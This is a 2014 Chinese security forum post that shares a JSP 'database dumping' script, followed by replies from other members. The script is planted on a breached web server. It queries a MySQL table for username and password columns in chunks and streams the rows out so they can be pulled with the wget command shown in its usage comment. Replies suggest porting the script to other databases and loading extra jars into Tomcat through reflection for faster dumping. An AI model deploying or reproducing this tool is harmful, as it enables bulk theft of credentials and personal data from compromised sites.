jsp wget脱裤脚本

Gavin | 2014-05-20 17:27

刚刚和朋友看了下jsp也可以实现

<%@ page contentType="text/html; charset=utf-8" %>

<%@ page language="java" %>

<%@ page import="java.sql.*" %>

<%

//author: By Gavin

//Usage: wget "http://xxx.com/wget_db.jsp?sn=0&en=5000000&ln=50000" -O gavin.sql

out.clear();

//分段每次limit查询出来的条数,根据实际情况调整,默认为2w

int MAX_LIMIT_NUM =  20000;

//最大缓存条数,防止占用过多内存,根据每条数据大小调整  

int MAX_CACHE_NUM = 5000;

//驱动程序名

String driverName="com.mysql.jdbc.Driver";

// 数据库地址

String dbAddress = "127.0.0.1:3306";

//数据库用户名

String userName="root";

//密码

String userPasswd="root";

//数据库名

String dbName="DBName";

// 查询字段

String columns[] = "username,password".split(",");

//表名

String tableName="table_name";

// 接受参数

int startNum = Integer.valueOf(request.getParameter("sn"));      //接收起始条数

int endNum = Integer.valueOf(request.getParameter("en"));      //接收结束条数

String ln = request.getParameter("ln");

if (ln != null && ln != "")  MAX_LIMIT_NUM = Integer.valueOf(ln);  //接收每次分段查询的条数

 int gavin_downNum = endNum - startNum;                  //计算总下载条数

if (endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum;

int multiple = gavin_downNum/MAX_LIMIT_NUM;

int complement = gavin_downNum%MAX_LIMIT_NUM;

// 连接数据库

String url="jdbc:mysql://"+dbAddress+"/"+dbName+"?user="+userName+"&password="+userPasswd;

 Class.forName(driverName).newInstance();

Connection connection=DriverManager.getConnection(url);

Statement statement = connection.createStatement();

// 拼装前半部分sql

String sql = "SELECT ";

for(int i=0;i<columns.length;i++){

  if(i == (columns.length-1)){

    sql += columns[i];

  } else {

    sql += columns[i] + ",";

  }

}

sql += " FROM " + tableName + " ";

int num = 1;

for(int i=0;i<multiple;i++) {

  int newStartNum = i*MAX_LIMIT_NUM+startNum;

  if(i == (multiple-1)) MAX_LIMIT_NUM += complement;

  String newSql = sql + " limit " + newStartNum + "," + MAX_LIMIT_NUM;

  java.sql.ResultSet rs = statement.executeQuery(newSql);

  //获得数据结果集合

  //ResultSetMetaData rmeta = rs.getMetaData();

  while(rs.next()) {

    num ++;

    for(int j=1;j<=columns.length;j++){

      if(j == columns.length){

        out.println(rs.getString(j));

      } else {

        out.print(rs.getString(j)+"-->");

      }

    }

    if (num >= MAX_CACHE_NUM) {

      out.flush();

      num = 0;

    }

  }

  rs.close();

}

statement.close();

connection.close();

%>

本地测试图:

1#

Gavin | 2014-05-20 17:30

@xsser 求给个发文章的权限,已提交漏洞,应该够30了~

2#

Knight (查水表。缴wb不杀) | 2014-05-20 18:23

mysql的,写清楚点。

3#

Jumbo | 2014-05-20 21:01

拖的是mssql还是mysql

4#

Zvall (safeKey team - 电击小子) | 2014-05-20 21:29

@楼上的两位 driver url 和sql语句 通用了 前提是要导入包、

@Gavin 这种方式 方式效率真心不高。 既然支持java可以搞个编译个jar包上去。

win下用.net 引入 system.data.oracleclient.dll 就OK 比sqlplus效率还高

5#

Zvall (safeKey team - 电击小子) | 2014-05-20 21:30

@楼上的两位改下 driver url 和sql语句 通用了 前提是要导入包、 打错了

坑回复的贴子不能编辑么?

6#

园长 (乱码你好,乱码再见。) | 2014-05-20 21:33

@Zvall tomcat里面我已经实现了加载任意需要的jar包到运行环境,挺简单呢。java 反射运行时加载外部jar到Tomcat StandardClassLoader 关于数据库备份那简直太简单了,p2j也发过。

7#

Zvall (safeKey team - 电击小子) | 2014-05-20 21:55

@园长 用反射机制来写拖库程序 是不是有点太 高级了

8#

园长 (乱码你好,乱码再见。) | 2014-05-20 22:18

@Zvall 还行吧,活学活用嘛。你连接数据库的第一句话还是反射呢,Class.forName("xxxx"); 能用就行。

9#

Gavin | 2014-05-20 23:27

@园长 确实存在依赖问题,java不熟悉,学学~